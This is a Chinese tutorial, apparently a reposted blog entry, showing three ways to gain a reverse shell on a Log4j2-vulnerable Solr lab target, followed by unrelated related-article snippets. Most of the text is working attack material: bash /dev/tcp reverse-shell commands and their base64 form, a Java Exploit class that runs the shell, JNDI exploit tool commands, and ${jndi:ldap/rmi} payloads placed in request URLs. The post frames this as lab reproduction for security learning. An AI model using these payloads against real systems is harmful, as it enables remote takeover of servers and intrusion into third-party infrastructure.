Log4j2漏洞(二)3种方式复现反弹shell

news2024/11/15 11:04:53

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、前言

明天就是除夕了,提前祝大家:新年新气象,龙年龖龖!也祝愿自己2024年一切顺利!

本文主要是分享log4j2反弹shell的3种方式,第一种方式【JNDI-Injection-Exploit】对jdk版本要求比较高,因此我在靶场复现时统一采用jdk1.8.0_191。靶场环境和漏洞原理请参阅上一篇《Log4j2漏洞(一)原理和dnslog验证》。以下是3种反弹shell复现步骤

2 、反弹shell【JNDI-Injection】

这是对环境要求最高的一种方式。

2.1、制作反弹shell的payload
# 反弹shell指令-格式
bash -i >& /dev/tcp/反弹shell的IP/nc监听的端口 0>&1

# 反弹shell指令-kali攻击机
bash -i >& /dev/tcp/192.168.242.4/9999 0>&1

# 把以上payload进行base64编码,使用在线网址:https://base64.us/
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==
2.2、监听EXP中端口

在攻击机kali使用nc命令开启监听

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
listening on [any] 9999 ...
2.3、启动JNDI服务

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,使用github上提供的Exploit,项目地址:https://github.com/welk1n/JNDI-Injection-Exploit ,下载下来自己编译打包,注意:编译打包要和攻击机的启动JNDI服务的jdk版本号(包含小版号)一定要一致,不然即使服务启动了,在反弹shell步骤会一直不成功。如果自己本机没有搭建jdk和maven环境的话,文末有提供下载方式。

# 切换到目标目录(我自己放jar的目录)
cd tools/log4j

# 命令-格式
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64反弹shell的payload}|{base64,-d}|{bash,-i}" -A "攻击机IP地址"

# 目标执行的命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0Mi40Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.242.4"

注意:每次运行 JNDI-Injection-Exploit 后,生成的rmi/ldap端口后一串字符是随机值,每次运行后URL值是不一样的。

在这里插入图片描述

2.4、设置payload并访问

经测试选择JDK 1.8 和JDK1.7下的rmi 和ldap都可以反弹shell成功,JDK没带版本的失败,建议跟自己环境同一版本JDK的,或者都可以测试一下。

# poc原文 
${jndi:rmi://192.168.242.4:1099/fvifkk}

${jndi:ldap://192.168.242.4:1389/fvifkk}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:rmi://192.168.242.4:1099/fvifkk}
2.5、反弹shell成功

在这里插入图片描述

3、反弹shell-【marshalsec】

这是最麻烦的一种方式。

3.1、生成Exploit.class

jdk要求1.8_191版本,ip修改为kali的ip,端口为nc监听的端口,源码如下:

// javac Exploit.java
import java.lang.Runtime;
import java.lang.Process;

public class Exploit {
static {
try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/攻击机kali机的ip/nc监听的端口 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

注意:文件命名为Exploit.java,在文件目录,打开cmd,使用命令生成Exploit.class文件,或者在kali系统上生成也可以

javac Exploit.java 

然后把Exploit.class文件复制到kali系统自己指定的文件夹里面,比如:/home/kali/tools/log4j

文末我有提供Exploit.java源码文件下载方式,如果使用该方式,里面的ip和端口需要修改为自己测试机器的和监听的端口。

3.2、开启web服务能访问恶意文件
# 切换到目录
cd /home/kali/tools/log4j

# 开启web服务能访问恶意文件,kali系统的ip: 192.168.242.4
python3 -m http.server 80

直接访问:http://192.168.242.4,可以看到界面列出来当前目录下的所有文件

在这里插入图片描述

3.3、使用marshalsec工具开启ldap服务端

ip修改为kali的ip,端口为ldap,命令如下:

# 切换到目录
cd /home/kali/tools/log4j

# 开启ldap服务端命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.242.4/#Exploit" 7777

# 开启成功有以下提示信息
Listening on 0.0.0.0:7777
3.4、nc监听

监听恶意文件中的地址ip,也就是第3.1、生成Exploit.class的配置的ip和端口

# 监听命令
nc -lvvp 1234

# 监听成功有以下提示信息
listening on [any] 1234 ...
3.5、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:7777/Exploit}

# 拼接poc进行访问
http://your-ip:8983/solr/admin/cores?action=${jndi:ldap://192.168.242.4:7777/Exploit}
3.6、反弹shell成功

在这里插入图片描述

4、反弹shell-【JNDIExploit】

这是最简单的一种复现方式,步骤少。

4.1、开启监听命令
# 切换到目录
cd /home/kali/tools/log4j

# 监听命令, -i 本机的ip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 8888 -p 6666 -i 192.168.242.4 
4.2、开启nc监听
nc -lvvp 10010
4.3、设置payload并访问
# poc原文
${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}

# 拼接poc进行访问
http://your-ip/solr/admin/cores?action=${jndi:ldap://192.168.242.4:8888/Basic/ReverseShell/192.168.242.4/10010}
4.4、反弹shell成功

在这里插入图片描述

5、资料获取

如果需要Log4j2反弹shell的工具包,请关注公众号:大象只为你,后台回复:log4j2反弹shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1440636.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Apollo

一. 部署说明 apollo配置中心由三个组件组成: ConfigService 配置中心,客户端从这个服务拉配置,同时内置了Eureka、MetaService。每个环境要有一个 AdminService 配置管理服务,管理数据库配置,Portal调这个服务修改、…

解决端口被占用问题

写文章原因: 本人在安装alist的时候,在使用5244端口的时候,显示端口被占用,于是想查看一下端口是被什么程序占用了,是否可以杀死占用的程序,还是更换端口. failed to start http: listen tcp 0.0.0.0:5244: bind: Only one usage of each socket address (protocol/network a…

专业140+总分420+华中科技大学824信号与系统考研经验电子信息与通信工程,真题,大纲,参考书。

今年考研分数自己感觉还是比较满意,专业824信号与系统考的最好140,总分420,如愿上岸华科,回顾自己的这一年的复习,总结一些自己的经验,希望对报考华科的同学有帮助。 专业课: 824信号与系统在…

如何构建一个高效的微服务治理闭环管理体系

随着企业业务的快速发展和数字化转型的推进,微服务架构因其高度的灵活性、可扩展性和可维护性而逐渐成为主流。然而,微服务架构的复杂性也带来了诸多治理挑战。为了有效应对这些挑战,构建一个微服务治理闭环至关重要。 1、微服务治理概述 微…

SpringCloud-Ribbon:负载均衡(基于客户端)

6. Ribbon:负载均衡(基于客户端) 6.1 负载均衡以及Ribbon Ribbon是什么? Spring Cloud Ribbon 是基于Netflix Ribbon 实现的一套客户端负载均衡的工具。简单的说,Ribbon 是 Netflix 发布的开源项目,主要功能是提供客户端的软件负…

C++面试宝典第27题:完全平方数之和

题目 给定正整数 n,找到若干个完全平方数(比如:1、4、9、16、...),使得它们的和等于n。你需要让组成和的完全平方数的个数最少。 示例1: 输入:n = 12 输出:3 解释:12 = 4 + 4 + 4。 示例2: 输入:n = 13 输出:2 解释:13 = 4 + 9。 解析 这道题主要考察应聘者对于…

Android中的MVVM

演变 开发常用的框架包括MVC、MVP和本文的MVVM,三种框架都是为了分离ui界面和处理逻辑而出现的框架模式。mvp、mvvm都由mvc演化而来,他们不属于某种语言的框架,当存在ui页面和逻辑代码时,我们就可以使用这三种模式。 model和vie…

Mybatis- plus 基本使用

目录 一. 引入依赖 二.定义Mapper 三.常见注解 3.1TableName 3.2.TableId 3.3TableField 3.4常见配置 一. 引入依赖 由于这个starter包含对mybatis的自动装配&#xff0c;因此完全可以替换掉Mybatis的starter。 <dependency><groupId>com.baomidou</gr…

阿里云企业用户2核4G5M固定带宽199元一年,续费不涨价

2024年2月阿里云服务器租用价格表更新&#xff0c;云服务器ECS经济型e实例2核2G、3M固定带宽99元一年、ECS u1实例2核4G、5M固定带宽、80G ESSD Entry盘优惠价格199元一年&#xff0c;轻量应用服务器2核2G3M带宽轻量服务器一年61元、2核4G4M带宽轻量服务器一年165元12个月、2核…

[职场] 服务行业个人简历 #笔记#笔记

服务行业个人简历 服务员个人简历范文1 姓名: XXX国籍:中国 目前所在地:天河区民族:汉族 户口所在地:阳江身材: 160cm43kg 婚姻状况:未婚年龄: 21岁 培训认证:诚信徽章: 求职意向及工作经历 人才类型:普通求职 应聘职位: 工作年限:职称:初级 求职类型:全职可到职日期:随时 月薪…

进程间通信(5):信号灯集

信号灯也叫信号量&#xff0c;是不同进程间或一个给定进程内部不同线程间同步的机制。 信号灯集为信号量的集合&#xff0c;实现同步、互斥机制&#xff0c;配合共享内存使用&#xff0c;解决资源竞争问题。 函数&#xff1a;semget、semctl、semop 实现流程&#xff1a; 1…

滑动窗口(二)

文章目录 Leetcode1658. 将 x 减到 0 的最小操作数题目解法&#xff08;滑动窗口&#xff09; Leetcode904. 水果成篮题目解法&#xff08;滑动窗口&#xff09; Leetcode438. 找到字符串中所有字母异位词题目解法&#xff08;滑动窗口&#xff09; Leetcode1658. 将 x 减到 0 …

如何从iPhone15上恢复意外删除的数据文件(备忘录、通讯录、照片等)

您是否正在寻找恢复 Apple 设备上丢失数据的方法&#xff1f;这是最好用的 iPhone 15数据恢复软件的汇总。 iPhone 数据恢复软件允许从Apple 设备中检索丢失或删除的数据。随着越来越依赖智能手机来存储个人和专业信息&#xff0c;数据丢失可能是一种令人沮丧和压力很大的体验…

licheepi nano 从零开始使用sd卡启动

本文目的&#xff1a;licheepi nano从零开始&#xff0c;使用sd卡启动&#xff1b; 某些原因导致需要重新捣鼓uboot&#xff0c;但过程中频繁出错&#xff0c;后悔最初没有记录详细的操作方法&#xff0c;此帖主要为自己出口气&#xff0c;重新记录&#xff1b; 持续完善&#…

CentOS 安装 redis 7.2

nginx官网 https://redis.io/download/ 把鼠标放到这里&#xff0c;复制下载地址 在服务器找个文件夹执行命令 wget https://github.com/redis/redis/archive/7.2.4.tar.gz tar -zxvf 7.2.4.tar.gz make make install 看到这几行就说明安装成功了 不放心的话再查看下b…

Java基础常见面试题总结-并发(一)

线程池 线程池&#xff1a;一个管理线程的池子。 为什么平时都是使用线程池创建线程&#xff0c;直接new一个线程不好吗&#xff1f; 嗯&#xff0c;手动创建线程有两个缺点 不受控风险频繁创建开销大 为什么不受控&#xff1f; 系统资源有限&#xff0c;每个人针对不同业…

【C++】引用与内联

个人主页 &#xff1a; zxctsclrjjjcph 文章封面来自&#xff1a;艺术家–贤海林 如有转载请先通知 文章目录 1. 前言2. 引用2.1 引用概念2.2 引用使用场景2.3 引用特性2.4 引用和指针的区别2.5 传值、传引用效率比较2.5.1 值和引用的作为返回值类型的性能比较 3. 内联函数3.1 …

React + SpringBoot + Minio实现文件的预览

思路&#xff1a;后端提供接口&#xff0c;从minio获取文件的预览链接&#xff0c;返回给前端&#xff0c;前端使用组件进行渲染展示 这里我从minio获取文件预览地址用到了一个最近刚开源的项目&#xff0c;挺好用的&#xff0c;大伙可以试试&#xff0c;用法也很简单 官网&am…

【Unity】QFramework通用背包系统优化:TipPanel优化

前言 在学习凉鞋老师的课程《QFramework系统设计&#xff1a;通用背包系统》第五章时&#xff0c;笔者对物品提示TipPanel界面进行了一些优化。 优化内容包括&#xff1a; 解决闪烁问题跟随鼠标移动自适应界面大小生成位置优化 效果还是蛮丝滑的&#xff1a; 解决闪烁问题 …

Unknown system variable ‘tx_read_only

使用datagrip可以创建成功 但是使用pycharm就会报一个错误“Unknown system variable tx_read_only”